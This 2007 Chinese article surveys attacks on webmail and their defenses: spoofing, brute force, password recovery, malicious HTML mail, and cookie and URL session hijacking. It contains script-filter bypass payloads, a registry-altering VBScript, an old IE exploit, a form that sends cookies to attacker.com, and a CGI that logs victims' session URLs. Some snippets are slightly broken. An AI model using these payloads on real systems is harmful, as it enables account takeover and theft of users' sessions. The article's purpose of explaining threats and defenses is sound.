• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
    • 軟件測試技術
    • 軟件測試博客
    • 軟件測試視頻
    • 開源軟件測試技術
    • 軟件測試論壇
    • 軟件測試沙龍
    • 軟件測試資料下載
    • 軟件測試雜志
    • 軟件測試人才招聘
      暫時沒有公告

    字號: | 推薦給好友 上一篇 | 下一篇

    Webmail攻防實戰

    發布: 2007-7-02 21:50 | 作者: admin | 來源: | 查看: 30次 | 進入軟件測試論壇討論

    領測軟件測試網 Webmail是指利用瀏覽器通過web方式來收發電子郵件的服務或技術,不需借助郵件客戶端,可以說只要能上網就能使用webmail,極大地方便了用戶對郵件的收發。對于不能熟練使用郵件客戶端,或者在網吧不便使用郵件客戶端的用戶來說,webmail更是必不可少的選擇。Email能夠成為當今internet上應用最廣泛的網絡服務,webmail可謂功不可沒。

    由于用戶的使用不當或者webmail系統的開發不周,都有可能給webmail的使用帶來更多的安全威脅。同樣,webmail系統作為當今電子郵件系統的重要組成部份,它的安全性也是不可忽視的。 

    一、郵件地址欺騙
    郵件地址欺騙是非常簡單和容易的,攻擊者針對用戶的電子郵件地址,取一個相似的電子郵件名,在webmail的郵箱配置中將“發件人姓名”配置成與用戶一樣的發件人姓名(有些webmail系統沒有提供此功能),然后冒充該用戶發送電子郵件,在他人收到郵件時,往往不會從郵件地址、郵件信息頭等上面做仔細檢查,從發件人姓名、郵件內容等上面又看不出異樣,誤以為真,攻擊者從而達到欺騙的目的。例如某用戶的電子郵件名是wolfe,攻擊者就會取w0lfe、wo1fe、wolfee、woolfe之類相似的電子郵件名來進行欺騙。雖然免費的午餐越來越難吃,但還是有很多用戶使用的是免費電子郵箱,通過注冊申請,攻擊者很容易得到相似的電子郵件地址。 

    人們通常以為電子郵件的回復地址就是它的發件人地址,其實不然,在RFC 822中明確定義了發件人地址和回復地址可以不一樣,熟悉電子郵件客戶端使用的用戶也會明白這一點,在配置帳戶屬性或撰寫郵件時,可以指定與發件人地址不同的回復地址。由于用戶在收到某個郵件時,雖然會檢查發件人地址是否真實,但在回復時,并不會對回復地址做出仔細的檢查,所以,如果配合smtp欺騙使用,發件人地址是要攻擊的用戶的電子郵件地址,回復地址則是攻擊者自已的電子郵件地址,那么這樣就會具有更大的欺騙性,誘騙他人將郵件發送到攻擊者的電子郵箱中。

    所謂害人之心不可有,防人之心不可無,鑒于郵件地址欺騙的易于實現和危險性,我們不得不時時提防,以免上當受騙。對于webmail系統而言,提供郵件信息頭內容檢查、smtp認證(如果該郵件系統支持smtp的話)等服務技術,將郵件地址欺騙帶來的危害降至最小是非常有必要的。對郵件用戶而言,認真檢查郵件的發件人郵件地址、發件人IP地址、回復地址等郵件信息頭內容是很重要的。

    二、Webmail暴力破解
    Internet上客戶端與服務端的交互,基本上都是通過在客戶端以提交表單的形式交由服務端程序(如CGI、ASP等)處理來實現的,webmail的密碼驗證即如此,用戶在瀏覽器的表單元素里輸入帳戶名、密碼等信息并提交以后,服務端對其進行驗證,如果正確的話,則歡迎用戶進入自己的webmail頁面,否則,返回一個出錯頁面給客戶端。

    籍此,攻擊者借助一些黑客工具,不斷的用不同的密碼嘗試登錄,通過比較返回頁面的異同,從而判斷出郵箱密碼是否破解成功。幫助攻擊者完成此類暴力破解的工具有不少,如wwwhack、小榕的溯雪等,尤以溯雪的功能最為強大,它本身已經是一個功能完善的瀏覽器,通過分析和提取頁面中的表單,給相應的表單元素掛上字典文件,再根據表單提交后返回的錯誤標志判斷破解是否成功。

    當然我們也看到,溯雪之類的web探測器,可以探測到的不僅是webmail的密碼,像論壇、聊天室之類所有通過表單進行驗證登錄的帳戶密碼都是可以探測到的。

    對于webmail的暴力破解,許多webmail系統都采取了相應的防范措施。如果某帳戶在較短的時間內有多次錯誤登錄,即認為該帳戶受到了暴力破解,防范措施一般有如下三種:

    1、 禁用帳戶:把受到暴力破解的帳戶禁止一段時間登錄,一般是5至10分鐘,但是,如果攻擊者總是嘗試暴力破解,則該帳戶就一直處于禁用狀態不能登錄,導致真正的用戶不能訪問自己的郵箱,從而形成DOS攻擊。

    2、 禁止IP地址:把進行暴力破解的IP地址禁止一段時間不能使用webmail。這雖然在一定程度上解決了“禁用帳戶”帶來的問題,但更大的問題是,這勢必導致在網吧、公司、學校甚至一些城域網內共用同一IP地址訪問internet的用戶不能使用該webmail。如果攻擊者采用多個代理地址輪循攻擊,甚至采用分布式的破解攻擊,那么“禁止IP地址”就難以防范了。

    3、 登錄檢驗:這種防范措施一般與上面兩種防范措施結合起來使用,在禁止不能登錄的同時,返回給客戶端的頁面中包含一個隨機產生的檢驗字符串,只有用戶在相應的輸入框里正確輸入了該字符串才能進行登錄,這樣就能有效避免上面兩種防范措施帶來的負面影響。不過,攻擊者依然有可乘之機,通過開發出相應的工具提取返回頁面中的檢驗字符串,再將此檢驗字符串做為表單元素值提交,那么又可以形成有效的webmail暴力破解了。如果檢驗字符串是包含在圖片中,而圖片的文件名又隨機產生,那么攻擊者就很難開發出相應的工具進行暴力破解,在這一點上,yahoo電郵就是一個非常出色的例子。

    雖然webmail的暴力破解有諸多的防范措施,但它還是很難被完全避免,如果webmail系統把一分鐘內五次錯誤的登錄當成是暴力破解,那么攻擊者就會在一分鐘內只進行四次登錄嘗試。所以,防范webmail暴力破解還主要靠用戶自己采取良好的密碼策略,如密碼足夠復雜、不與其他密碼相同、密碼定期更改等,這樣,攻擊者很難暴力破解成功。

    三、郵箱密碼恢復
    難免會有用戶遺失郵箱密碼的情況,為了讓用戶能找回密碼繼續使用自己的郵箱,大多數webmail系統都會向用戶提供郵箱密碼恢復機制,讓用戶回答一系列問題,如果答案都正確的話,就會讓用戶恢復自己郵箱的密碼。但是,如果密碼恢復機制不夠合理和安全,就會給攻擊者加以利用,輕松獲取他人郵箱密碼。

    下面是許多webmail系統密碼恢復機制所采取的密碼恢復步驟,只有用戶對每步提出的問題回答正確的話才會進入下一步,否則返回出錯頁面,針對每一步,攻擊者都有可乘之機:

    第一步:輸入帳戶:在進入密碼恢復頁面后首先提示用戶輸入要恢復密碼的郵箱帳戶。這一步對攻擊者而言自然不成問題,郵箱帳戶就是他要攻擊的目標。

    第二步:輸入生日:提示用戶按年月日輸入自己的生日。這一步對攻擊者而言也很輕松,年月日的排列組合很小,借助溯雪等工具很快就能窮舉破解出來,所以webmail系統有必要在此采取暴力破解防范措施。并且每個用戶需要注意的是,攻擊者不一定來自地球的另一端,很可能就是你身邊的人,或許這些人更想知道你郵箱里有什么秘密,而他們要弄清你的生日往往是件輕而易舉的事情,你不是昨天才過了生日party嗎?你不是剛剛把身份證復印件交給人事部嗎?所以,為了郵箱安全,用戶是不是要把真實的生日做為郵箱注冊信息,webmail系統是不是一定要用戶輸入真實的生日做為注冊信息,這還有待考慮。

    第三步:問題回答:提示用戶回答自己設定的問題,答案也是用戶自己設定的答案。在這一步,攻擊者往往只有靠猜測,不幸的是,很多用戶的問題和答案是如此的簡單,以致于攻擊者能輕易的猜測出來,例如提出的問題只是知識性的問題、提出的問題和答案相同等。攻擊者對用戶越熟悉,成功的可能性就越大,例如有用戶問“你男朋友是哪里人”,殊不知,攻擊者正是她的男朋友。所以,用戶把問題設置成唯有自己知道的答案至關重要,這樣攻擊者才很難得逞,不過不要忘了答案,否則就得不償失了。

    在用戶正確完成以上各步驟以后,webmail系統就會讓用戶恢復自己郵箱帳戶的密碼。密碼恢復的方式又各有不同,一般有如下幾種方式,安全程度各有不同:

    1、 頁面返回:返回的頁面里顯示用戶的郵箱密碼。這樣故然方便省事,但是如果讓攻擊者得到密碼,則能在絲毫不驚動用戶的情況下使用用戶的郵箱,使得攻擊者能長期監視用戶的郵箱使用情況,給用戶帶來更大的安全隱患。

    2、 郵件發送:將密碼發送到用戶注冊時登記的另一個郵箱里。對于攻擊者來說,忙了半天,仍然是一無所獲,除非繼續去攻擊另一個郵箱;對于用戶來說,在另一個郵箱里收到發來的密碼則是一個警告,說明有攻擊者猜測到了他的郵箱密碼提示問題,迫使用戶盡快改變自己的密碼提示問題。

    不過,如果用戶注冊時登記的不是一個正確的郵箱,或者該郵箱已經失效,那么,這樣不僅是攻擊者,就是用戶本人也永遠得不到密碼了。有些webmail系統在注冊時要求用戶登記正確的郵件地址,并把郵箱開通的驗證信息發往該郵件地址,不過這樣仍然不能避免用戶在郵箱失效后不能恢復自己郵箱密碼的情況發生。

    3、 密碼重設:讓用戶重新設置一個密碼。這種方式相比“頁面返回”方式,在攻擊者重設密碼后,用戶因為不能正常登錄進自己的郵箱而能察覺出受到攻擊,安全性相對好一些;但是相比“郵件發送”方式,因為攻擊者能立即修改郵箱密碼,少了一層保障,安全性又差一些。

    由“頁面返回”或“郵件發送”回來的密碼可以明顯看出,該電子郵件系統是把郵箱帳戶的密碼未經加密直接以明文保存在數據庫或LDAP服務器中。這樣就造成很大的安全隱患,webmail系統管理員或侵入數據庫的攻擊者能輕易獲取用戶的郵箱密碼,用戶卻完全不知情,所以為了加大保密性,有必要將郵箱密碼加密后再以密文存入數據庫,最好用不可逆的單向加密算法,如md5等。

    郵箱密碼恢復機制是否安全,主要還是看webmail系統提出什么樣的問題、采取什么樣的問答方式,例如將多個密碼恢復步驟中提出的問題放在一步中一起提出,就會相應地增加攻擊者的難度從而提高安全性,像搜狐郵件、新浪郵件和yahoo電郵等都是一些令人失望的例子。

    四、惡性HTML郵件
    電子郵件有兩種格式:純文本(txt)和超文本(html)。Html郵件由html語言寫成,當通過支持html的郵件客戶端或以瀏覽器登錄進入webmail查看時,有字體、顏色、鏈接、圖像、聲音等等,給人以深刻的印象,許多垃圾廣告就是以html郵件格式發送的。

    利用html郵件,攻擊者能進行電子郵件欺騙,甚至欺騙用戶更改自己的郵箱密碼。例如攻擊者通過分析webmail密碼修改頁面的各表單元素,設計一個隱含有同樣表單的html頁面,預先給“新密碼”表單元素賦值,然后以html郵件發送給用戶,欺騙用戶說在頁面中提交某個表單或點擊某個鏈接就能打開一個精彩網頁,用戶照做后,在打開“精彩網頁”的同時,一個修改郵箱密碼的表單請求已經發向webmail系統,而這一切,用戶完全不知情,直到下次不能登錄進自己郵箱的時候。

    為了防止此類的html郵件欺騙,在修改郵箱配置時,特別是修改郵箱密碼和提示問題時,webmail系統有必要讓用戶輸入舊密碼加以確認,這樣也能有效防止載取到當前webmail會話的攻擊者(下面會介紹)更改郵箱密碼。

    通過在html郵件中嵌入惡性腳本程序,攻擊者還能進行很多破壞攻擊,如修改注冊表、非法操作文件、格式化硬盤、耗盡系統資源、修改“開始”菜單等,甚至能刪除和發送用戶的郵件、訪問用戶的地址簿、修改郵箱帳戶密碼等等。惡性腳本程序一般由JavaScript或VBScript腳本語言寫成,內嵌在html語言中,通過調用ActiveX控件或者結合WSH來達到破壞攻擊目的。深受修改瀏覽器的惡性html頁面之痛,飽經“歡樂時光”郵件病毒之苦的朋友,對此應該不會陌生。下面是兩個簡單的惡性腳本程序:

    一、打開無數個瀏覽器窗口,直至CPU超負荷,非關機不可:

    <script language="JavaScript">

    <!--
    while (true)
    {
    window.open("URI"); //如果URI就是當前頁本身,那就更具破壞性。

    //-->

    </script>

    二、修改注冊表:

    <script language="VBScript">
    Set RegWsh = CreateObject("WScript.Shell")
    <|>設置IE瀏覽器默認頁 
    RegWsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
    "http://www.attacker.com" 
    </script>

    鑒于腳本程序可能帶來的危險,webmail系統完全有必要禁止html郵件中的腳本程序。禁止腳本程序的基本做法就是過濾掉html源程序中能夠使腳本程序運行的代碼,如script元素等,在這方面做的最好的莫過于hotmail了。下面是些常見的繞過腳本程序過濾的方法,不少的webmail系統仍然沒有完全改正:

    1、 在html語言里,除了script元素內的或在script元素內引入的腳本程序能在html頁面裝載時被運行外,使用事件屬性也能調用腳本程序運行,事件屬性在JavaScript語言里被稱為事件句柄,用于對頁面上的某個特定事件(如鼠標點擊、表單提交)做出響應,驅動javascript程序運行。它的語法如下:

    <tag attribute1 attribute2 onEventName="javascript code;">

    例如:

    <body onload="alert(<|>JavaScript#1 is executed<|>);">
    <a href="#" onclick="alert(<|>JavaScript#2 is executed<|>);">Click here</a>
    <form method="post" action="#" onsubmit="alert(<|>JavaScript#3 is executed<|>);">
    <input type="submit" value="Submit">
    </form>
    </body>

    2、 URI(Universal Resource Identifier:通用資源標識)用于定位Internet上每種可用的資源,如HTML文檔、圖像、聲音等。瀏覽器根據URI的資源類型(URI scheme)調用相應的程序操作該資源,如果把一些元素的URI屬性值的資源類型設為javascript,則能夠調用javascript程序運行。語法如下,注意要用“;”分隔不同的javascript語句:

    <tag attribute="javascript:javascript-code;">

    例如:

    <body background="javascript:alert(<|>JavaScript#1 is executed<|>);">
    <a href="javascript:alert(<|>JavaScript#2 is executed<|>);">Click here</a>
    <form method="post" action="javascript:alert(<|>JavaScript#3 is executed<|>);">
    <input type="submit" value="Submit">
    </form>
    <img src="javascript:alert(<|>JavaScript#4 is executed<|>);">
    </body>

    3、 由于軟硬件或其他原因,一些冷僻或特殊的字符不能輸入或正確顯示在html頁面上,為了解決這個問題,html中可以使用SGML字符參考。字符參考是一種用來指定文檔字符集中任何字符的獨立編碼機制,以“&”開始,以“;”結束。字符參考有兩種表達方式:數字字符參考和實體字符參考。數字字符參考的語法為“&#D;”(D代表一個十進制數),或“&#xH;”、“&#XH;”(H代表一個十六進制數),例如“A”、“A”表示字母“A”,“水”、“水”表示漢字“水”。

    攻擊者把html語句里的一些字符以數字字符參考來代替,這樣能避開webmail系統對腳本程序的過濾。需要注意的是,元素和屬性不可以用字符參考表示,例如:

    <body>
    <img lowsrc="javasCript:alert(<|>JavaScript#1 is executed<|>)">
    <a href="javAsCript:alert(<|>JavaScript#2
    i&#x73 executed<|>)">Click here</a>
    <form method="post" action="javascript:alert(<|>JavaScript#3 is 
    executed<|>)">
    <input type="Submit" value="Submit">
    </form>
    </body>

    4、 樣式表是層疊樣式表單(CSS:Cascading Style Sheet)的簡稱,用于控制、增強或統一網頁上的樣式(如字體、顏色等),它能夠將樣式信息與網頁內容相分離,在html語言的style標簽內可以用@import聲明輸入一個樣式表。但是,如果輸入的資源類型或內容是javascript,Internet Explorer瀏覽器仍然會執行。例如:

    <style type="text/css">
    <!--
    @import url(javascript:alert(<|>JavaScript#1 is executed<|>));
    @import url(http://www.attacker.com/js.css);
    -->
    </style>

    其中http://www.attacker.com/js.css的內容如下所示:

    @import url(javascript:alert(<|>JavaScript#2 is executed<|>));
    @import url(javascript:eval(String.fromCharCode
    (97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
    108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));

    能夠繞過webmail系統對腳本程序過濾的方法遠不止上面所說的這些,例如曾有人發現把“<script>”標簽改成“<_a<script>”和“<<script>”的樣子能繞過yahoo電郵的過濾,這個漏洞yahoo在最近才改正過來。

    除了可以在html郵件中直接嵌入腳本程序外,攻擊者還可以設計一些html代碼,在用戶打開html郵件時,不知不覺引入另一個html文件,而此文件中正含有惡性代碼,這樣不僅能直接繞過webmail系統對腳本程序的過濾,而且還能有效避開提供了防毒服務的郵件系統對惡性代碼的查殺。下面是幾個調用html文件的例子:

    1、Refresh到另一個頁面:

    <body>
    <meta http-equiv="refresh" content="1;URL=http://www.attacker.com/another.htm">
    </body>

    2、Iframe引入另一個頁面:

    <body>
    <iframe src="http://www.attacker.com/import.htm" frameborder="0"></iframe>
    </body>

    3、scriptlet引入另一個頁面:

    <body>
    <object type="text/x-scriptlet" data="http://www.attacker.com/import.htm"></object>
    </body>

    攻擊者還可以采取如下方法,使帶有惡性代碼的html郵件具有更大的隱蔽性:

    1、 配合郵件欺騙技術,使用戶不會懷疑收到的郵件,并且攻擊者也能隱藏自己的行蹤。

    2、 把html郵件設計成看起來像txt郵件。

    3、 有時可以把html郵件中的惡性代碼放在一個隱藏的層里面,表面上看不出任何變化。

    針對惡性腳本程序的影響,對用戶常見的建議辦法是提高瀏覽器的安全級別,如禁用ActiveX、禁用腳本等,但這并不是一個很好的辦法,因為這樣會影響到用戶對其他正常html頁面的瀏覽。即使瀏覽器達到了最高級別,依然對某些惡性代碼無濟于事,下面是位以色列安全專家發現的漏洞,能讓Windows系統自動執行任何本地程序,即使Internet Explorer已經禁止了ActiveX和腳本程序:

    <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>

    <xml id="oExec">
    <security>
    <exploit>
    <![CDATA[
    <object id="oFile" classid="clsid:11111111-1111-1111-1111-
    111111111111" codebase="c:/winnt/system32/calc.exe"></object>
    ]]>
    </exploit>
    </security>
    </xml>

    面對惡性html郵件,webmail系統和用戶似乎都沒有很好的解決辦法,雖然許多webmail系統已經能夠過濾掉html郵件中的很多惡性代碼,不過令人遺憾的是,要想徹底過濾掉惡性代碼并不是一件容易的事情,攻擊者總能利用webmail系統過濾機制和瀏覽器的漏洞找到辦法繞過種種過濾,webmail系統所能做的就是發現一個漏洞補一個漏洞。

    為了減少乃至避免惡性html郵件的影響,在打開html郵件之前,webmail系統有必要提醒用戶這是一個html郵件,如果能提供讓用戶以文本方式瀏覽html郵件的功能,則是最好不過。在打開不明郵件之前,用戶更要小心謹慎,最好把html郵件“目標另存為”到本地硬盤上再打開來看,如果能先查看html郵件源代碼,則是最好不過。

    另外需要特別提醒用戶注意的是,雖然一些電子郵件系統會在webmail系統上對html郵件中的惡性代碼進行過濾,但在pop3服務器上并不會進行過濾,所以,如果是通過郵件客戶端收取郵件,仍然要謹防惡性html郵件的危害。

    五、Cookie會話攻擊
    當用戶以自已的郵箱帳戶和密碼登錄進webmail以后,如果再讓用戶對每一步操作都輸入密碼加以確認就會讓人不甚其煩。所以webmail系統有必要進行用戶會話跟蹤,webmail系統用到的會話跟蹤技術主要有兩種:cookie會話跟蹤和URL會話跟蹤。

    Cookie是web服務器保存在用戶瀏覽器上的文本信息,可以包含用戶名、特殊ID、訪問次數等任何信息,通常此信息用于標識訪問同一web服務器上的不同用戶,在瀏覽器每次訪問同一web服務器時會發送過去,用于跟蹤特定客戶端或瀏覽器與web服務器進行交互的狀態。

    Cookie的類型有兩種:持久型和臨時型。持久型cookie以文本形式存儲在硬盤上,由瀏覽器存取。使用了持久型cookie會話跟蹤的webmail系統有hotmail、yahoo電郵(可選)等。臨時型cookie也稱為會話cookie,存儲在內存中,僅為當前瀏覽器的對話存儲,關閉當前瀏覽器后會立即消失,ASP、PHP4等開發程序中用到的session對象就會產生臨時型cookie。使用了臨時型cookie會話跟蹤的webmail系統有FM365、億郵等。

    如果攻擊者能夠獲取用戶webmail的cookie信息,那么就能很容易地侵入用戶的webmail。攻擊者如何獲取用戶webmail的cookie信息呢?如果攻擊者在用戶的電腦上安裝了木馬,或者能夠從網絡線路上對用戶進行嗅探偵聽,那么獲取cookie信息自然不成問題,不過這并不是我們討論問題的意義所在,因為都能夠這樣了,又何必大費周折去獲取cookie信息,直接獲取郵箱密碼就是了。

    如果webmail系統存在跨站腳本執行漏洞,那么攻擊者就能欺騙用戶從而輕易地獲取cookie信息,雖然眾多網站存在此漏洞,但存在此漏洞的webmail系統還很少見。

    含有惡性腳本程序的html郵件能使攻擊者獲取webmail的cookie信息。Html郵件中的腳本程序先提取當前webmail的cookie信息,然后把它賦值給某個表單元素,再將表單自動提交給攻擊者,攻擊者從而獲得cookie會話信息。下面是一段演示程序:

    <body>
    <form method="post" action="http://attacker.com/getcookie.cgi" name="myform">
    <input name="session" type="hidden">
    </form>

    <script language="JavaScript">
    var cookie=(document.cookie);
    alert(cookie);//這一句用于顯示當前cookie信息,當然,攻擊者不會這樣做。
    document.myform.session.value=cookie;
    document.myform.submit();
    </script>

    getcookie.cgi是放在攻擊者web服務器上的一個cgi程序,用于獲取表單提交過來的cookie信息,并且做記錄或者通知攻擊者。當然,攻擊者會把html郵件、getcookie.cgi程序設計得更隱蔽,更具欺騙性,讓用戶難以察覺。

    通常,瀏覽器根據web服務器的域名來分別保存cookie信息,并且只會把cookie信息發送給同一域名的web服務器。不過,瀏覽器的漏洞給攻擊者獲取不同域名的cookie信息創造了機會,Internet Explorer、Netscape和Mozilla等被廣泛使用的瀏覽器都存在過此類漏洞。下面是幾個Internet Explorer瀏覽器(針對IE5.0、IE5.5或6.0)泄漏cookie信息的例子:

    1、 Html語言中的object元素用于在當前頁面內嵌入外部對象,但Internet Explorer瀏覽器對object元素屬性的處理不當會導致任意域的cookie信息被泄漏,演示代碼如下:

    <object id="data" data="empty.html" type="text/html"></object>
    <script>
    var ref=document.getElementById("data").object;
    ref.location.,5000);
    </script>

    2、 Internet Explorer瀏覽器錯誤處理“about”協議使得一個精心構造的URL請求可能會顯示或修改任意域的cookie信息,例如(以下代碼在同一行):

    about://www.anydomain.com/<script language=JavaScript>alert(document.cookie);</script>

    3、 Internet Explorer瀏覽器會誤把URL中“%20”(空格符的URL編碼)字符串之前的主機名當做cookie信息所在的域,并且發送出去。假設攻擊者有一個域名“attacker.com”,攻擊者把它做成泛域名解析,即把“*.attacker.com”指向攻擊者web服務器所在的IP地址,“attacker.com”下的任何子域名或主機名都會被解析成這個IP地址,當用戶提交了類似下面這樣的URL后,瀏覽器就會把“anydomain.com”域名的cookie信息發送給攻擊者:

    http://anydomain.com%20.attacker.com/getcookie.cgi

    如果攻擊者要獲取webmail的臨時型cookie信息,就會在html郵件中寫入相應的代碼,在用戶瀏覽郵件時,該代碼自動執行,使得攻擊者能夠獲取當前瀏覽器里的臨時cookie信息,也可以把用于獲取cookie信息的URL發送給用戶,誘騙用戶打開該URL,這樣攻擊者也能獲取臨時cookie信息。

    在攻擊者獲取cookie信息后,如果cookie信息里含有密碼等敏感信息,那么攻擊者就能很輕易地侵入用戶的郵箱,雖然hotmail等webmail系統曾經發生過此類的情況,但cookie信息泄漏敏感信息的webmail系統還很少見。

    攻擊者在獲取cookie信息之后,還要讓此cookie信息由瀏覽器來存取從而與webmail系統建立會話,這樣才能侵入用戶的webmail。如果是持久型cookie信息,攻擊者所要做的是把這個信息復制到自己的cookie文件中去,由瀏覽器存取該cookie信息從而與webmail系統建立會話,不過臨時cookie信息存儲在內存中,并不容易讓瀏覽器存取。

    為了讓瀏覽器存取臨時cookie信息,攻擊者可以編輯內存中的cookie信息,或者修改公開源代碼的瀏覽器,讓瀏覽器能夠編輯cookie信息,不過這樣都不是很簡便的方法,簡便的方法是使用Achilles程序(packetstormsecurity.org網站有下載)。Achilles是一個http代理服務器,能夠載取瀏覽器和web服務器間的http會話信息,并且在代理轉發數據之前可以編輯http會話以及臨時cookie信息。

    Webmail系統應該避免使用持久型cookie會話跟蹤,使攻擊者在cookie會話攻擊上不能輕易得逞。為了防止cookie會話攻擊,用戶可以采取如下措施以加強安全:

    1、 設置瀏覽器的cookie安全級別,阻止所有cookie或者只接受某幾個域的cookie。

    2、 使用cookie管理工具,增強系統cookie安全,如Cookie Pal、Burnt Cookies等。

    3、 及時給瀏覽器打補丁,防止cookie信息泄漏。

    Cookie會話跟蹤除了上面提到的安全缺陷外,還存在如下缺點:

    1、 并不是每個瀏覽器都支持cookie,有些用戶為了防止泄露隱私以及從安全性上考慮,可能會禁用瀏覽器的cookie。

    2、 由于功能限制或者設置有誤,代理服務器不能夠代理cookie,導致通過代理服務器上網的用戶不能登錄進入以cookie進行會話跟蹤的webmail。

    六、URL會話攻擊
    一些webmail系統膽敢在客戶端不支持cookie時拒絕提供webmail服務,如新浪、搜狐等webmail系統,而另一些webmail系統則視用戶為上帝,使用URL會話跟蹤技術來維護與客戶端交互的狀態,如163.net、263.net、21cn.com等。

    URL會話跟蹤是把一些標識會話的字符串加在URL里面,對于客戶端的每一個http連接請求,服務端都會把URL里的會話標識和它所保存的會話數據關聯起來,從而能夠區分不同的客戶端,以及進行用戶會話跟蹤。下面是在瀏覽器的地址欄里看到的一些webmail的URL,看起來會很長甚至有些怪:

    http://bjweb.163.net/cgi/ldapapp?funcid=main&sid=HAPGfUDusCLAQSIm
    http://webmail.21cn.com/extend/gb/std/username/
    NV0416qxMftyKnOcavGDktOmIEvPsb/SignOn.gen

    在關閉瀏覽器后,保存在服務器里的會話關聯數據并不會立即失效,一段時間內webmail的URL仍然有效,他人只要從瀏覽器的歷史記錄里找到該URL,就可以點擊進入用戶的webmail,并不需要任何密碼驗證,所以用戶在退出webmail時,不應該直接關閉瀏覽器,應該點擊webmail上的“退出”來退出,這樣才會清空會話,使webmail的URL失效,那些在網吧等公共場所上網的用戶尤其要注意這一點。

    如果攻擊者知道webmail系統的URL會話機制,能猜到webmail的會話標識,那么就能找到webmail的URL,在瀏覽器地址欄里輸入相同的URL就能輕易地進入用戶的webmail,所以webmail系統應該使用較長的、隨機的字符串做為會話標識,使攻擊者難以猜測。

    不過,即使webmail系統的URL會話機制再復雜、會話標識再長,對攻擊者而言,要想獲得用戶webmail的URL,往往就像探囊取物一般容易。

    JavaScript程序中的window.location、location.href、document.URL、document.location、document.referrer等對象屬性都可以用來獲取webmail的URL,攻擊者只要在html郵件中放入一段腳本代碼就可以獲取URL,并且能偷偷地發送給攻擊者,類似的代碼可以參考“cookie會話攻擊”一節里的一段演示程序。

    Http協議(RFC2616)里規定http請求頭域“referer”用于指明鏈接的出處,即指明來自客戶端的這個連接請求是從哪個URI地址提交過來的,例如用戶點擊頁面上的某個鏈接地址后,發出的referer域的內容就是當前頁面的URI地址。CGI編程中的環境變量“HTTP_REFERER”用于獲取http請求頭域“referer”,下面是一個在Linux下用shell寫的CGI程序:

    #!/bin/sh
    #set -f

    echo Content-type: text/plain
    echo

    #寫入日志,geturl.log文件權限要可寫
    echo "`date` $REMOTE_ADDR $HTTP_REFERER" >> /var/log/geturl.log

    #即時通知攻擊者
    wall "`date` 收到webmail url,請檢查日志"

    #返回給客戶端的信息,用于迷惑用戶
    echo "你好!"

    攻擊者把這個CGI程序放在自己的web服務器上,然后把該CGI程序的URL地址以單獨一行放在txt郵件里發給用戶,URL地址會自動變成鏈接地址,受到欺騙的用戶點擊后,攻擊者就獲得了用戶webmail的URL。當然攻擊者也可以把CGI程序的URL地址放在html郵件里做為鏈接地址讓用戶來點擊,或者就用腳本程序或框架技術使這個CGI程序自動運行,或者干脆把這個CGI程序的URL地址放在html郵件源代碼img元素的src屬性值,雖然顯現不出圖片,但這個CGI程序照樣會收到http連接請求,從而獲得webmail的URL。

    Web服務器的日志記錄也能獲取referer域的內容,以apache為例,在httpd.conf文件中修改或加入如下配置參數:

    LogFormat "%t %h %{Referer}i -> %U" referer
    CustomLog /usr/local/apache/logs/referer_log referer

    這樣對web服務器的每一個http連接請求的referer域的內容都會寫到referer_log日志文件里去,攻擊者只要分析日志文件就能夠知道用戶webmail的URL了。webmail系統如果支持html郵件的話,總不可能會禁止html郵件中使用圖像,攻擊者在發給用戶的html郵件中放入一張src地址在自己web服務器上的圖片,也就能輕易地獲取webmail的URL。

    這樣一來,深懷惡意的攻擊者花點小錢去做郵件服務商提供的webmail旗幟廣告,廣告的圖片則是放在攻擊者的web服務器上,那么攻擊者就能每天坐收成千上萬用戶的webmail了。

    瀏覽器的漏洞和惡意腳本程序導致了cookie信息的泄漏,與cookie信息泄漏不同,URL會話信息被泄漏,則是完全出在HTTP協議上,除非修改HTTP協議。雖然RFC2616里指出referer域是敏感信息(Sensitive Information),建議瀏覽器提供友好界面讓用戶能夠允許或禁用傳輸敏感信息域,不過目前尚未有哪一家瀏覽器提供了這樣的功能界面。

    可見,無論是cookie會話跟蹤還是URL會話跟蹤,都存在著不少的安全問題,所以webmail系統有必要采取措施加強會話安全:

    1、 靈活使用會話跟蹤技術:客戶端支持cookie時,使用相對比較安全的臨時型cookie會話跟蹤機制,否則,使用URL會話跟蹤,JSP等開發程序能很容易做到這一點。

    2、 結合多種會話跟蹤技術:同時結合cookie、URL會話跟蹤技術進行會話跟蹤,大大增加攻擊者難度。

    3、 跟客戶端IP地址相結合:21cn.com、qmail的sqwebmail等webmail系統,就是把當前會話與客戶端IP地址結合在一起來加強安全的。

    4、 合理設置會話超時時間:在一定時間內客戶端沒有連接請求則認為會話超時(timeout)。太短了,給用戶帶來不便;太長了,給攻擊者帶來方便。

    七、Webmail其他安全
    如果用戶在webmail里設置了自動回復,攻擊者利用這一點,在另一個郵箱里也設置自動回復,并發一封郵件給用戶,那么郵件很快就會塞滿用戶的郵箱,迫使用戶不得不取消自動回復,所以,良好的自動回復策略應該是在一定時間內來自同一郵件地址的第二封郵件不應該被自動回復。

    攻擊者還會在郵件附件中夾帶病毒、木馬等惡性程序來攻擊用戶的電腦,甚至用來竊取webmail密碼,所以,對于不明郵件,用戶不要奢望那是攻瑰和情書,在對附件進行病毒查殺之前,不要輕易打開它的附件。

    為了防止垃圾郵件,webmail系統應有良好的反垃圾郵件功能,一是系統級的垃圾郵件過濾,對一些被投訴和列入反垃圾郵件組織黑名單的郵件地址進行過濾,二是用戶級的垃圾郵件過濾,使webmail用戶可以定制自己的郵件過濾規則,拒絕不受歡迎的郵件,免受垃圾郵件的困擾。

    使用一些嗅探監聽程序,攻擊者甚至不需要很高深的專業知識,就能很輕易地嗅探監聽到用戶webmail的密碼、郵件內容等。有一個叫“密碼監聽器”的黑客程序,幾乎能監聽到國內所有免費郵箱的密碼。所以,webmail系統有必要支持ssl,對瀏覽器與服務器之間傳輸的數據進行加密,防止被嗅探監聽。

    一些webmail系統支持數字簽名和數字加密,在webmail內可以導入基于公鑰加密機制(如CA認證中心頒發的數字證書)產生的公私密鑰對,能有效地保證郵件的保密性、完整性和不可抵賴性,不過,鑒于webmail在其他方面的安全問題,一旦攻擊者侵入用戶的webmail,用戶反而得不償失,甚至會導致私鑰的泄漏。

